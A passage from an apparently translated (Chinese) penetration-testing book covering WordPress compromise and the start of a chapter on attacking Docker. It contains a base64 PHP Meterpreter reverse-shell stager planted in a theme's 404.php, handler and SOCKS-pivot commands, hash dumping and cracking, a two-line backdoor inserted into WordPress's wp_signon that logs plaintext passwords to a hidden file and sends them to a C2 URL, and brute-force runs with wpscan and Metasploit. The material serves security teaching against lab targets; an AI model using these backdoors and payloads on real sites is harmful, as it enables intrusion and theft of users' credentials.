jYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs));**
**msf payload(php/meterpreter/reverse_tcp) >**
这实际上取决于注入点的允许范围。我们可能需要对暂存的 PHP 代码进行 Base64 编码,以绕过一些基础的入侵检测系统或杀毒软件。如果有人查看源代码,编码后的有效载荷在格式正确的代码中确实看起来更可疑,因此我们需要仔细考虑我们想要多隐蔽。
为了确保我们的代码更好地与 404.php 页面中的其他内容融合,我们可以使用源代码美化器,如CyberChef。我们将未进行 Base64 编码的原始 PHP 代码输入并通过 CyberChef 工具处理。
在 Recipe 面板中,我们可以添加 Generic Code Beautify 操作。我们的原始 PHP 代码将放入 Input 部分。要美化代码,我们只需要点击屏幕底部的 Bake!,如图所示:

图 12.8:CyberChef 代码美化器
注
CyberChef 是一款非常棒的工具,具有众多功能。代码美化只是它能做的事情的冰山一角。CyberChef 由 GCHQ 开发,并可免费在线使用或下载,网址为:gchq.github.io/CyberChef
此时,我们可以获取美化后的负载并直接将其粘贴到 WordPress 主题编辑器中。我们需要将代码添加到get_header()函数调用之前。这是因为404.php本应在另一个页面中通过include()加载,而该页面加载了此函数的定义。当我们直接调用404页面时,get_header()将未定义,PHP 将抛出致命错误。我们的 Shell 代码将无法执行。我们在修改目标内容时必须注意这些问题。理想情况下,如果时间允许,我们会设置一个类似的测试环境,检查应用程序如何处理我们的修改。
Meterpreter 负载将非常适合在第 12 行的get_header()函数上方,如下所示:

图 12.9:404.php 页面编辑器负载注入位置
在这个位置添加代码应该可以防止任何 PHP 错误干扰我们的恶意代码。

图 12.10:我们的恶意负载与其他的 404.php 文件融为一体
在执行我们刚刚注入的后门之前,我们必须确保在我们的攻击机器上运行处理程序,以便接收来自受害者的连接。
为此,我们在 Metasploit 控制台中加载exploit/multi/handler模块,如下所示:
**msf > use exploit/multi/handler**
我们需要使用set PAYLOAD命令指定处理程序应该为哪种负载类型进行配置:
**msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp**
**msf exploit(multi/handler) >**
我们必须确保负载选项与我们之前生成 PHP 代码时选择的选项匹配。这两个选项也可以通过set命令配置:
**msf exploit(multi/handler) > options**
**Payload options (php/meterpreter/reverse_tcp):**
**Name Current Setting Required Description**
**---- --------------- -------- -----------**
**LHOST attacker.c2 yes The listen address**
**LPORT 4444 yes The listen port**
**Exploit target:**
**Id Name**
**-- ----**
**0 Wildcard Target**
我们还可以配置处理程序以接受多个连接并在后台运行。新会话将自动创建;我们不需要每次都运行处理程序。
ExitOnSession选项可以设置为false,如下所示:
**msf exploit(multi/handler) > set ExitOnSession false**
**ExitOnSession => false**
我们现在可以运行带有-j选项的处理程序,这将把它发送到后台,准备接受来自受害者的连接:
**msf exploit(multi/handler) > run -j**
**[*] Exploit running as background job 2.**
**[*] Started reverse TCP handler on attacker.c2:4444**
**msf exploit(multi/handler) >**
被植入后门的404.php文件位于目标应用程序的wp-content/themes/twentyseventeen/文件夹中,可以直接通过curl调用。这将执行我们的后门并生成一个新的 Meterpreter 会话:
**root@kali:~# curl http://cookingwithfire.local/wp-content/themes/twentyseventeen/404.php**
**[...]**
curl命令似乎会挂起,但几秒钟后,我们获得了 Shell 访问权限。我们可以看到受害者建立了一个 Meterpreter 会话,我们可以使用sessions -i命令与之交互,如下所示:
[*] Sending stage (37543 bytes) to 172.17.0.3
**[*] Meterpreter session 8 opened** (10.0.5.42:4444 -> 172.17.0.3:36194)
msf exploit(multi/handler) > **sessions -i 8**
[*] Starting interaction with 8...
meterpreter >
再次,我们可以通过 Meterpreter 会话直接向目标发出命令:
meterpreter > **sysinfo**
Computer : 0f2dfe914f09
OS : Linux 0f2dfe914f09 4.14.0 #1 SMP Debian 4.14.17 x86_64
Meterpreter : php/linux
meterpreter > **getuid**
Server username: www-data (33)
meterpreter >
通过 Shell 访问,我们可以尝试提升权限、横向移动,甚至提取更多的凭证。
凭证外泄
设想另一种情况,我们已经利用网站的一个漏洞,获得了对服务器的 shell 访问权限。也许 WordPress 网站本身已经打了补丁,且用户密码很复杂,但如果 WordPress 安装在共享系统上,攻击者通过与网站无关的组件获得 shell 访问权限并不罕见。也许我们设法上传了一个 Web Shell,甚至通过命令注入漏洞迫使 Web 服务器反向连接回我们的机器。在之前的场景中,我们猜到了 mary 的密码,但如果我们想要更多呢?如果博客管理员 msmith 有权限访问其他系统呢?
密码重用是一个可能不会很快消失的问题,获取站点管理员的密码具有重要价值。相同的密码可能适用于 VPN 或 OWA,甚至是应用服务器上的 root 用户。
大多数现代 Web 服务器软件,如 Apache2、NGINX 和 IIS,都以低权限用户身份运行应用程序,因此 PHP Shell 对底层服务器的访问权限有限。虽然 Web 用户无法对服务器本身做太多操作,但它可以与站点源代码交互,包括 CMS 实例的源代码。我们可能会寻找使用本地漏洞提升权限的方法,但如果不成功或时间紧迫,可能更合理的做法是对站点代码后门并收集凭证。
在前面的场景中,我们通过用户 mary 获得了 shell 访问权限。进入后,我们可以检查 wp-config.php 文件,寻找可能的注入位置。我们可以看到 WordPress 正常运行所需的数据库凭证。这可能是我们的第一个目标,因为所有 WordPress 凭证都存储在那里,尽管是哈希化的。如果我们能提取到这些哈希密码,可能可以离线破解它们。配置文件对于 CMS 来说是常见的,如果我们有读取应用服务器的权限,这些文件应该是我们首批收集的目标:
meterpreter > cat /var/www/html/wp-config.php
<?php
/**
* The base configuration for WordPress
*
[...]
* This file contains the following configurations:
*****
*** * MySQL settings**
*** * Secret keys**
*** * Database table prefix**
*** * ABSPATH**
*****
*** @link https://codex.WordPress.org/Editing_wp-config.php**
*****
*** @package WordPress**
***/**
**// ** MySQL settings - You can get this info from your web host ** //**
**/** The name of the database for WordPress */**
**define('DB_NAME', 'WordPress');**
**/** MySQL database username */**
**define('DB_USER', '**
**WordPress');**
**/** MySQL database password */**
**define('DB_PASSWORD', 'ZXQgdHUgYnJ1dGU/');**
**/** MySQL hostname */**
**define('DB_HOST', '127.0.0.1:3306');**
[...]
我们可以获取这些明文凭证,并使用 MySQL 客户端连接到数据库。接下来,我们可以转储用户表和其中的任何哈希值。在你进行渗透测试时,你可能会遇到更多强化过的 MySQL 实例,这些实例通常不允许来自任何远程主机的登录。MySQL 实例也可能被防火墙保护,或只监听 127.0.0.1,我们可能无法从外部进行连接。
为了绕过这些限制,我们必须通过先前建立的反向 Shell 会话来转发连接:
**msf payload(php/meterpreter/reverse_tcp) > sessions**
**Active sessions**
**===============**
**Id Name Type Information Connection**
**-- ---- ---- ----------- ----------**
**8 meterpreter php/ www-data @ linux 0f2dfe914f09 10.0.5.42:4444 ->**
**172.17.0.3:36194 (172.17.0.3)**
首先,我们需要在 Metasploit 中添加一个路由,通过一个活跃的 Meterpreter 会话转发所有连接。在这种情况下,我们想连接到在服务器回环地址 127.0.0.1 上监听的 MySQL 实例。
Metasploit 的route add命令要求我们指定一个网络范围和 Meterpreter 会话 ID。在我们的例子中,我们只会针对127.0.0.1地址,因此需要使用/32。我们还希望通过会话8发送所有数据包:
**msf payload(php/meterpreter/reverse_tcp) > route add 127.0.0.1/32 8**
**[*] Route added**
**msf payload(php/meterpreter/reverse_tcp) > route print**
**IPv4 Active Routing Table**
**=========================**
**Subnet Netmask Gateway**
**------ ------- -------**
**127.0.0.1 255.255.255.255 Session 8**
要利用这个路径,我们需要在 Metasploit 中启动一个代理服务器,然后可以与 ProxyChains 一起使用,将数据包通过我们的 Meterpreter 会话发送。
auxiliary/server/socks4a模块将允许我们在攻击机器上启动一个 SOCKS4 服务器,并且使用先前添加的路由,任何发送到127.0.0.1的流量将通过我们的会话转发。
让我们加载模块并设置SRVHOST和SRVPORT,如图所示:
**msf payload(php/meterpreter/reverse_tcp) > use auxiliary/server/socks4a**
**msf auxiliary(server/socks4a) > options**
**Module options (auxiliary/server/socks4a):**
**Name Current Setting Required Description**
**---- --------------- -------- -----------**
**SRVHOST 0.0.0.0 yes The address to listen on**
**SRVPORT 1080 yes The port to listen on.**
**msf auxiliary(server/socks4a) > run**
**[*] Auxiliary module running as background job 1.**
**[*] Starting the socks4a proxy server**
我们应该能够通过执行 Metasploit 的jobs命令看到我们在后台运行的 SOCKS 服务器:
**msf auxiliary(server/socks4a) > jobs**
**Jobs**
**====**
**Id Name Payload Payload opts**
**-- ---- ------- ------------**
**0 Exploit: multi/ php/meterpreter/ tcp://attackhandler reverse_tcp er.c2:4444**
**1 Auxiliary: server/socks4a**
接下来,ProxyChains 配置文件/etc/proxychains.conf应该修改为指向我们新创建的 SOCKS 服务器,如下所示:
root@kali:~# tail /etc/proxychains.conf
[...]
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
**socks4 127.0.0.1 1080**
最后,我们在 Kali 终端中使用proxychains二进制文件,通过wp-config.php中的凭据,将 MySQL 客户端连接包装到目标 MySQL 实例,如下所示:
root@kali:~# proxychains mysql -h127.0.0.1 -uWordPress -p
ProxyChains-3.1 (http://proxychains.sf.net)
Enter password: **ZXQgdHUgYnJ1dGU/**
|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:3306-<><>-OK
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 28
Server version: 5.6.37 MySQL Community Server (GPL)
**Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.**
这个 WordPress 数据库用户可能对服务器的访问权限有限,但对我们的目的来说应该足够了。我们可以看到 WordPress 数据库,并且能够枚举其表和数据:
**MySQL [(none)]> show databases;**
**+--------------------+**
**| Database |**
**+--------------------+**
**| information_schema |**
**| WordPress |**
**| test |**
**+--------------------+**
**3 rows in set (0.00 sec)**
**MySQL [none]> show tables from WordPress;**
**+-----------------------------+**
**| Tables_in_WordPress |**
**+-----------------------------+**
**| wp_commentmeta |**
**| wp_comments |**
**| wp_links |**
**| wp_options |**
**| wp_postmeta |**
**| wp_posts |**
**| wp_term_relationships |**
**| wp_term_taxonomy |**
**| wp_termmeta |**
**| wp_terms |**
**| wp_usermeta |**
**| wp_users |**
**+-----------------------------+**
**12 rows in set (0.00 sec)**
我们需要使用一个简单的 MySQL 查询,抓取存储在wp_users表中的用户名和哈希值:
**MySQL [none]> select id, user_login, user_pass, user_email from WordPress.wp_users where id=1;**
**+----+------------+------------------------+------------------+**
**| id | user_login | user_pass | user_email |**
**+----+------------+------------------------+------------------+**
**| 1 | msmith | $P$BX5YqWaua3jKQ1OBFgui| msmith@cookingwit|**
**| | | UhBxsiGutK/ | hfire.local |**
**+----+------------+------------------------+------------------+**
**1 row in set (0.01 sec)**
拿到msmith的密码哈希后,我们可以在 Kali 机器上运行 John the Ripper 尝试破解它。我们可以将哈希保存到本地,并使用john进行破解,如下所示:
root@kali:~# cat hashes
**msmith:$P$BX5YqWaua3jKQ1OBFquiUhBxsiGutK/**
root@kali:~# **john hashes --**
**wordlist=~/tools/SecLists/Passwords/darkc0de.txt**
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.72% (ETA: 10:24:24) 0g/s 4897p/s 4897c/s 4897C/s 11770..11/9/69
0g 0:00:00:02 1.10% (ETA: 10:25:08) 0g/s 4896p/s 4896c/s 4896C/s 123din7361247iv3..123ducib19
0g 0:00:00:04 1.79% (ETA: 10:25:49) 0g/s 4906p/s 4906c/s 4906C/s 16 HERRERA..16th
0g 0:00:00:20 6.59% (ETA: 10:27:09) 0g/s 4619p/s 4619c/s 4619C/s 4n0d3..4n0m47h3c4
根据你的密码破解设备和密码复杂度,这可能需要一些时间。在典型的渗透测试中,这可能并不可行,你可能需要考虑其他替代方案。
获取明文凭据的一个更智能的方法是通过在 CMS 登录系统中植入后门,并在目标用户(或多个用户)登录应用程序时捕获明文凭据。这种攻击要求我们控制的用户能够修改 WordPress 的文件。有些安装可能不允许 Web 服务器用户写入磁盘作为安全措施,但管理员在应用程序生命周期中放宽这一控制也并不罕见。如果我们对目标服务器拥有完整的 root 权限,这个攻击方法也非常有效。正如我之前提到的,捕获明文凭据非常有价值,尤其是当目标是横向移动或敏感数据访问时。
处理身份验证的 WordPress 函数被称为wp_signon(),WordPress Codex 对其进行了详细描述:

图 12.11:WordPress 函数参考:wp_signon
signon 函数在 wp-includes/user.php 的 WordPress 核心文件中定义。代码中有几行用于验证从其他模块传递给该函数的凭证,例如 wp-login.php。
我们希望拦截明文凭证,并将其外泄到我们的 C2 服务器,或将其存储在网站的某个地方以便稍后检索,或两者兼有。当然,这两种外泄方法各有利弊。通过网络传输数据可能会被入侵检测系统或出站代理识别为异常流量,但它确保我们在凭证输入后立即获得它们,当然前提是传输没有被阻断。将数据存储在本地则不会引起任何网络监控的注意,但如果服务器管理员仔细查看应用文件系统,服务器上的额外文件可能会引起怀疑。
在 wp_signon 函数中,凭证要么通过 $credentials 变量传递,要么对于新的登录,通过 PHP 全局变量 $_POST 传递。我们可以对这个传入值进行 JSON 编码,然后对结果进行 Base64 编码,最后将其写入磁盘或通过网络发送。这种双重编码主要是为了简化网络传输,同时也稍微混淆了我们外泄的数据。
PHP 提供了两个方便的函数,我们可以将它们注入到 wp_signon 函数中,以便快速轻松地外泄 WordPress 凭证。
file_put_contents() 允许我们写入磁盘,写入位置是网页用户有权限访问的任何地方。对于 WordPress,特别是因为它允许上传数据,wp-content/uploads 通常是可被 Web 服务器写入的。其他 CMS 也会有类似的目录访问权限,我们可以利用这些权限。
file_put_contents(**[file to write to]**, **[data to write]**, **FILE_APPEND**);
PHP 的 file_get_contents() 函数允许我们向 C2 服务器发出网页请求,我们可以通过 URL 将凭证传递过去。我们可以在 C2 的日志中查看数据。对于网络外泄,我们应该在函数前添加 @ 字符,这样 PHP 就会抑制任何错误,万一发生网络问题。如果 C2 服务器宕机或无法访问,我们不想引起用户对潜在安全问题的警觉。
@file_get_contents(**[c2 URL]**);
需要注意的是,URL 数据外泄可能会导致站点出现明显的延迟,这可能会提醒用户潜在的安全风险。如果隐蔽性至关重要,最好将数据存储在本地,通过网页检索,并在操作完成后删除。
对于我们的凭证窃取器,我们可以使用以下一行(或两行)代码:
file_put_contents(**'wp-content/uploads/.index.php.swp'**, base64_encode(json_encode(**$_POST**)) . PHP_EOL, FILE_APPEND);
@file_get_contents(**'http://pingback.c2.spider.ml/ping.php?id='** . base64_encode(json_encode(**$_POST**)));
简而言之,在用户登录过程中,我们的后门将会:
-
获取存储在
$_POST全局中的明文凭证 -
对凭证进行 JSON 和 Base64 编码,方便传输和混淆
-
将凭证存储在
wp-content/uploads/.index.php.swp文件中 -
通过 URL
http://pingback.c2.spider.ml/ping.php将它们发送到我们的 C2。
后门代码将添加在wp_signon函数返回之前。这确保我们仅捕获有效的凭证。如果提供的凭证无效,wp_signon函数会比我们的代码更早返回。
我们必须将代码注入到wp-includes/user.php中的合适位置。凭证通过wp_signon进行检查,并在函数的最后return语句之前被认为是有效的。我们需要在此处放置我们的代码:
<?php
/**
* Core User API
*
* @package WordPress
* @subpackage Users
*/
[...]
function wp_signon( $credentials = array(), $secure_cookie = '' ) {
[...]
if ( is_wp_error($user) ) {
if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
$user = new WP_Error('', '');
}
return $user;
}
**file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);**
**@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));**
wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
/**
* Fires after the user has **successfully** logged in.
*
* @since 1.5.0
*
* @param string $user_login Username.
* @param WP_User $user WP_User object of the logged-in user.
*/
**do_action( 'wp_login', $user->user_login, $user );**
**return $user;**
}
一旦用户,或者两个或三个用户成功登录,我们可以在wp-content/uploads/.index.php.swp文件中看到明文凭证:
root@kali:~# curl http://cookingwithfire.local/wp-content/uploads/.index.php.swp
**eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=**
root@kali:~#
C2 服务器还在连接日志中记录了相同的凭证:
root@spider-c2-1:~/c2# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2
Press Ctrl-C to quit.
[] 192.30.89.138:53039 [200]: **/ping.php?id=eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3cC1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aXRoZmlyZS5sb2NhbFwvd3AtYWRtaW5cLyIsInRlc3Rjb29raWUiOiIxIn0=**
如果我们解码 Base64 数据,可以看到msmith的密码:
**root@kali:~# curl -s http://cookingwithfire.local/wp-content/uploads/.index.php.swp | base64 -d**
**{"log":"msmith","pwd":"iYQN)e#a4s*rLe7ZhWhfS&^v","wp-submit":"Log In","redirect_to":"http:\/\/cookingwithfire.local\/wp-admin\/","testcookie":"1"}**
尝试破解我们从数据库中获取的哈希值对msmith来说可能会失败。幸运的是,我们能够修改 CMS 代码以捕获明文凭证,而不会干扰目标和其用户。
总结
在本章中,我们详细探讨了攻击 CMS,特别是 WordPress。虽然我们对 WordPress 进行了相当密集的攻击,但需要注意的是,类似的问题和漏洞也可以在其竞争对手的软件中找到。Drupal 和 Joomla 通常在 CMS 讨论中提到,它们也不陌生于编写不当的插件或配置错误的实例。
我们能够使用 WPScan 和 Arachni 评估目标 CMS,甚至在获取一些访问权限后,查看特权提升或横向移动的选项。我们还查看了后门代码,以保持我们的访问权限,甚至修改 CMS 核心源代码,将明文凭证导出到我们的 C2 服务器。
第十三章:突破容器
本章将探讨攻击应用容器。Docker 是迄今为止最受欢迎的容器管理系统,比其他系统更可能被企业部署。我们将分析错误配置、假设以及不安全的部署如何导致不仅目标应用的完全妥协,还有邻近应用的泄露。
"Docker 容器镜像是一个轻量级、独立且可执行的软件包,包含运行应用所需的所有内容:代码、运行时、系统工具、系统库和设置。[...] 它适用于 Linux 和 Windows 应用,容器化的软件无论在何种基础设施上都会一致运行。容器将软件与环境隔离,确保其在不同环境中(例如开发和预发布环境)也能保持一致运行。"
- Docker
如果没有上下文,上面的引用可能在描述虚拟机(VMs)。毕竟,我们可以将应用打包到虚拟机中,并将其部署到任何宿主机上而不担心冲突。然而,虚拟机与容器之间存在一些根本性差异。对攻击者而言,最重要的是隔离性,或者说缺乏隔离性。
本章内容:
-
描述 Docker 和 Linux 容器
-
展示 Docker 应用与传统应用的区别
-
滥用 Docker 来攻破目标应用,最终攻破宿主机
下图展示了容器如何在不冲突的情况下运行完整的应用堆栈。与传统的虚拟机(VM)相比,一个显著的区别是内核组件。容器之所以可行,是因为能够通过控制组(cgroups)和命名空间来隔离进程。
容器被形容为chroot的增强版。Chroot 是一种 Unix 应用程序,允许管理员有效地改变运行中的应用程序“认为”的文件系统根目录。chroot 目录被设计成类似于实际的文件系统根目录,为应用程序提供它需要的文件路径,以便正确运行。应用程序被限制(chrooted)在这个任意子目录中,并将其视为根文件系统。当应用程序出现故障时,它无法破坏共享的系统文件或库,因为它只能访问原始文件的副本。

图 13.1:容器运行完整应用堆栈(来源:Docker)
当应用程序使用容器进行隔离时,它不应能看到或与同一主机上运行的其他进程进行交互。然而,它确实与同一机器上的其他容器共享内核资源。记住这一点非常重要,因为在容器中利用内核漏洞会影响到主机和相邻的应用程序。利用虚拟机内的内核漏洞通常不会危及在同一硬件上运行的其他虚拟机。要攻击其他虚拟机,你需要非常昂贵且罕见的虚拟环境主机(虚拟机管理程序)逃逸漏洞。
在下图中,你可以看到 Docker 容器和传统虚拟机管理程序(如 VMware、Hyper-V 或 VirtualBox)之间的区别:

图 13.2:Docker 容器和传统虚拟机管理程序的区别(来源:Docker)
Docker 守护进程运行在主机操作系统上并抽象化应用层,而虚拟机管理程序则抽象化硬件层。那么,既然容器并不完全隔离应用程序,为什么还要部署容器呢?简单的答案是成本。容器轻量、易于构建和部署,并提供足够的隔离,能够消除应用层的冲突。这解决了许多开发者今天面临的“在我的环境下可以运行”的问题。
一个应用程序在开发者的机器上运行的方式与在生产环境或完全不同的 Linux 发行版上运行的方式完全相同。你甚至可以在最新版本的 Windows 上运行在 Linux 上打包的容器。容器和 Docker 提供的便携性和灵活性是难以反驳的。虽然虚拟机也能实现相同的目标,但为了让应用程序在虚拟机上成功运行,它需要一个完整的操作系统。磁盘空间、CPU 的要求以及整体性能成本会累积起来。
如前所述,Docker 并不是唯一的容器技术,但它无疑是最受欢迎的。Docker 本质上是管理 cgroups 和命名空间的简单方法。Cgroups 是 Linux 内核的一个特性,为计算资源(如 CPU、网络和磁盘输入/输出操作)提供隔离。Docker 还提供了集中式的 Docker Hub,社区可以在上面上传自己的容器镜像,并与全球共享。
Docker 模型实现了客户端-服务器架构,实际上意味着 Docker 守护进程在主机上编排容器,而客户端通过守护进程暴露的 API 控制守护进程。
脆弱的 Docker 场景
尽管 Docker 和容器技术非常强大,但有时它会给应用程序生命周期带来复杂性,这通常对安全性不利。能够快速部署、测试和大规模开发应用程序无疑有其好处,但也很容易让安全漏洞从缝隙中溜走。
软件的安全性仅与其配置有关。如果一个应用程序没有打补丁或没有正确锁定,它会显著增加攻击面和被攻破的可能性。Docker 也不例外,默认配置通常不足够。我们在这里就是要利用这些配置问题和部署错误。
攻击运行在容器中的应用程序是一回事,但提升特权到主机则是锦上添花。为了说明配置不当和不安全部署的 Docker 容器的影响,我们将使用 NotSoSecure 的脆弱的 Docker 虚拟机。这是一台精心制作的虚拟机,展示了 Docker 部署中一些关键而常见的问题。
注意
虚拟机软件包可以在 NotSoSecure 的网站上下载:www.notsosecure.com/vulnerable-docker-vm/。
一旦虚拟机启动并运行,控制台屏幕将显示其由 DHCP 分配的 IP 地址。为了清晰起见,我们将使用vulndocker.internal作为指向 Docker 实例的域名:

图 13.3:脆弱的 Docker 虚拟机登录提示
该应用程序运行在由 Docker 主机vulndocker.internal提供的容器内,端口为8000。在实际场景中,我们通常会看到应用程序暴露在常见端口上,例如80或443。通常,NGINX(或类似的)会在容器化应用程序与攻击者之间代理 HTTP 流量,隐藏 Docker 主机通常会开放的其他端口。攻击者必须专注于应用程序漏洞,才能获取 Docker 主机的访问权限。
立足点
通过与 Docker 虚拟机提供的 Web 应用程序交互,我们注意到它正在运行一个 WordPress 实例:

图 13.4:由虚拟机提供的 WordPress 应用程序
我们攻击的下一步将是运行wpscan工具,寻找任何简单的目标,并尽可能收集有关该实例的更多信息。
注意
wpscan工具可以在 Kali 以及几乎所有其他专注于渗透测试的发行版中找到。可以从github.com/wpscanteam/wpscan获取最新版本。
我们可以通过在攻击机器终端中发出wpscan命令来开始我们的攻击。默认情况下,将启用被动检测,寻找可用的插件,以及其他各种基本检查。我们可以使用--url选项,将完整的 URL(包括端口8000)作为值,指向我们的应用程序。
**root@kali:~# wpscan --url http://vulndocker.internal:8000/**
**[+] robots.txt available under: 'http://vulndocker.internal:8000/robots.txt'**
**[+] Interesting entry from robots.txt: http://vulndocker.internal:8000/wp-admin/admin-ajax.php**
**[!] The WordPress 'http://vulndocker.internal:8000/readme.html' file exists exposing a version number**
**[!] Full Path Disclosure (FPD) in 'http://vulndocker.internal:8000/wp-includes/rss-functions.php':**
**[+] Interesting header: LINK: <http://vulndocker.internal:8000/wp-json/>; rel="https://api.w.org/"**
**[+] Interesting header: SERVER: Apache/2.4.10 (Debian)**
**[+] Interesting header: X-POWERED-BY: PHP/5.6.31**
**[+] XML-RPC Interface available under: http://vulndocker.internal:8000/xmlrpc.php**
**[+] Enumerating plugins from passive detection ...**
**[+] No plugins found**
这个实例的扫描结果比较干燥。完整路径泄露(FPD)漏洞如果我们不得不通过 MySQL 实例盲目地将 shell 写入磁盘(正如我们在前几章中所做的),或者如果我们找到本地文件包含漏洞时,可能会派上用场。XML-RPC 接口似乎是可用的,这可能稍后会有所帮助。现在,我们将这些发现做个记录。
WordPress 有着看似无穷无尽的插件,而大多数与 WordPress 相关的漏洞来自于过时和易受攻击的插件。然而,在我们的案例中,这个简单的博客并没有使用任何可见的插件。默认的 wpscan 插件枚举是被动的;如果插件已安装但未使用,可能无法被检测到。有一个选项可以通过使用已知插件的预定义数据库,主动测试插件的存在。
要开始对所有已知的 WordPress 插件进行主动扫描,我们可以在运行 wpscan 时使用 --enumerate 选项,并指定 p 值:
**root@kali:~# wpscan --url http://vulndocker.internal:8000/ --enumerate p**
这个扫描将运行几分钟,但在这个场景下,它没有返回任何有趣的结果。wpscan 还可以使用一些有效的信息泄露技术,在 WordPress 中揭示一些文章作者及其相应的登录用户名。枚举用户将是接下来的活动,希望我们能够攻击管理员账户,进而获得 shell 访问权限。
要开始进行用户名枚举,我们可以使用 --enumerate 选项,这次指定 u 值:
**root@kali:~# wpscan --url http://vulndocker.internal:8000/ --enumerate u**
**[...]**
**[+] Enumerating usernames ...**
**[+] Identified the following 1 user/s:**
**+----+-------+-----------------+**
**| Id | Login | Name |**
**+----+-------+-----------------+**
**| 1 | bob | bob – NotSoEasy |**
**+----+-------+-----------------+**
用户枚举返回了一个值:bob。ID 为 1,我们可以安全地假设这是管理员账户。Bob 将是我们暴力破解攻击的重点,由于我们之前使用过 10-million-password-list- 字典成功,我们将再次尝试使用它。
wpscan 工具通过 --passwords 和 --usernames 参数提供了一个登录暴力破解选项。为了不逊色于其他工具,Metasploit 也提供了一个通过 XML-RPC 接口对 WordPress 登录进行暴力破解的工具。对于更大规模的攻击,使用这个模块可能更为合适,因为 Metasploit 的数据库在整理发现并快速启动后续攻击方面可能会派上用场。
就我们的目的而言,wpscan 的暴力破解工具就足够了,我们可以让它开始:
**# wpscan --url http://vulndocker.internal:8000/ --passwords ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt --usernames bob**
**[...]**
**[+] Starting the password brute forcer**
**Brute Forcing 'bob' Time: 00:01:23 <==== > (2916 / 10001) 29.15% ETA: 00:03:22**
**[+] [SUCCESS] Login : bob Password : Welcome1**
**+----+-------+------+----------+**
**| Id | Login | Name | Password |**
**+----+-------+------+----------+**
**| | bob | | Welcome1 |**
**+----+-------+------+----------+**
使用相同的参数对 Metasploit 的 auxiliary/scanner/http/wordpress_xmlrpc_login 模块进行测试,我们得到相同的结果。
我们可以通过在 Linux 终端中使用 msfconsole 命令启动 Metasploit 控制台:
**root@kali:~# msfconsole -q**
**msf >**
正如我们在前几章中所做的那样,我们可以使用 use 命令加载 wordpress_xmlrpc_login 模块:
**msf > use auxiliary/scanner/http/wordpress_xmlrpc_login**
类似于前面章节中的 MySQL 登录扫描模块,这个特定的模块可以通过指定以下选项进行配置:

图 13.5:Metasploit 模块选项
对于这个特定的暴力破解攻击,我们将针对发现的用户bob使用我们选择的字典。我们还将把THREADS增大到10,并确保RHOSTS和RPORT反映目标应用程序的设置。为了设置每个选项,我们将使用(你猜对了)set命令,如下所示:
**msf auxiliary(wordpress_xmlrpc_login) > set RPORT 8000**
**msf auxiliary(wordpress_xmlrpc_login) > set RHOSTS vulndocker.internal**
**msf auxiliary(wordpress_xmlrpc_login) > set PASS_FILE /root/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt**
**msf auxiliary(wordpress_xmlrpc_login) > set USER bob**
**msf auxiliary(wordpress_xmlrpc_login) > set THREADS 10**
**msf auxiliary(wordpress_xmlrpc_login) > set STOP_ON_SUCCESS true**
配置好模块后,我们可以使用 Metasploit 的run命令启动暴力破解攻击:
**msf auxiliary(wordpress_xmlrpc_login) > run**
**[*] vulndocker.internal:8000 :/xmlrpc.php - Sending Hello...**
**[*] Starting XML-RPC login sweep...**
**[+] WORDPRESS_XMLRPC - Success: 'bob:Welcome1'**
**[*] Scanned 1 of 1 hosts (100% complete)**
**[*] Auxiliary module execution completed**
尽管执行 Metasploit 模块的步骤比仅运行wpscan要多,但其价值再次体现在 Metasploit 能够组织在攻击过程中收集到的数据上。如果这个应用是更大规模攻防的一部分,而发现的凭据可以在后续攻击中使用,那么 Metasploit 数据库的价值是无可替代的。有了这些凭据,我们就可以完全访问 WordPress 应用。
Metasploit 还提供了exploit/unix/webapp/wp_admin_shell_upload模块,该模块将创建一个 WordPress 插件,通过php/meterpreter/reverse_tcp有效载荷连接回攻击者,默认使用 4444 端口。还有其他有效载荷选项,但最终结果基本相同。然而,Metasploit 模块存在一个问题:噪音。失败或中断的利用尝试会留下令人不安的证据。若有管理员经过,他们很快就能发现并发出警报。你能发现这个恶意插件吗?当然,你可以。
下图显示了已安装的 WordPress 插件,包括遗留下的 MSF 有效载荷:

图 13.6:WordPress 插件
如果我们想保持低调并避免被发现,我们可以选择更加手动的方法。由于我们完全控制了 CMS,我们可以像 Metasploit 一样创建并上传自定义插件,或者更好的是,我们可以对现有插件进行后门处理。
